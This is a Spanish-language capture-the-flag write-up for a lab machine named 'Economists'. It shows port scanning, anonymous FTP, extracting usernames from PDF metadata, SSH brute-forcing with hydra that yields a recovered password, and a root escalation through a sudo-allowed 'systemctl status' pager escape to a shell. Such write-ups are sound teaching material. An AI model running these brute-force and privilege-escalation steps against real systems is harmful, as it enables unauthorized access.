043 - Economists

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.41
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.41
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-12 14:38 -03
Nmap scan report for 192.168.1.41
Host is up (0.00035s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1000     1000       173864 Sep 13 11:40 Brochure-1.pdf
| -rw-rw-r--    1 1000     1000       183931 Sep 13 11:37 Brochure-2.pdf
| -rw-rw-r--    1 1000     1000       465409 Sep 13 14:18 Financial-infographics-poster.pdf
| -rw-rw-r--    1 1000     1000       269546 Sep 13 14:19 Gameboard-poster.pdf
| -rw-rw-r--    1 1000     1000       126644 Sep 13 14:20 Growth-timeline.pdf
|_-rw-rw-r--    1 1000     1000      1170323 Sep 13 10:13 Population-poster.pdf
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d9:fe:dc:77:b8:fc:e6:4c:cf:15:29:a7:e7:21:a2:62 (RSA)
|   256 be:66:01:fb:d5:85:68:c7:25:94:b9:00:f9:cd:41:01 (ECDSA)
|_  256 18:b4:74:4f:f2:3c:b3:13:1a:24:13:46:5c:fa:40:72 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home - Elite Economists
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds

Enumeramos con gobuster y, con whatweb, descubrimos el dominio que añadimos al /etc/hosts:

❯ gobuster dir -u http://192.168.1.41 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/readme.txt           (Status: 200) [Size: 410]
...

❯ whatweb http://192.168.1.41
http://192.168.1.41 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@elite-economists.hmv], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.1.41], JQuery, Script, Title[Home - Elite Economists]

Analizamos los PDF del FTP con exiftool para obtener una lista de usuarios potenciales, y generamos un diccionario de contraseñas a partir del sitio con cewl:

❯ cewl.rb -d 3 -m 5 http://elite-economists.hmv > ./wordlist.txt

Hacemos fuerza bruta contra SSH con hydra:

❯ hydra -L users.txt -P wordlist.txt 192.168.1.41 ssh
...
[22][ssh] host: 192.168.1.41   login: joseph   password: wealthiest
...

Iniciamos sesión como joseph y obtenemos la primera flag. Revisamos sudo -l:

joseph@elite-economists:~$ sudo -l
Matching Defaults entries for joseph on elite-economists:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joseph may run the following commands on elite-economists:
    (ALL) NOPASSWD: /usr/bin/systemctl status

Podemos ejecutar systemctl status como root. Como usa un pager tipo less, escapamos a una shell desde él:

joseph@elite-economists:~$ sudo systemctl status
...
!/bin/bash
root@elite-economists:/home/joseph#

Obtenemos nuestra flag.

Fin.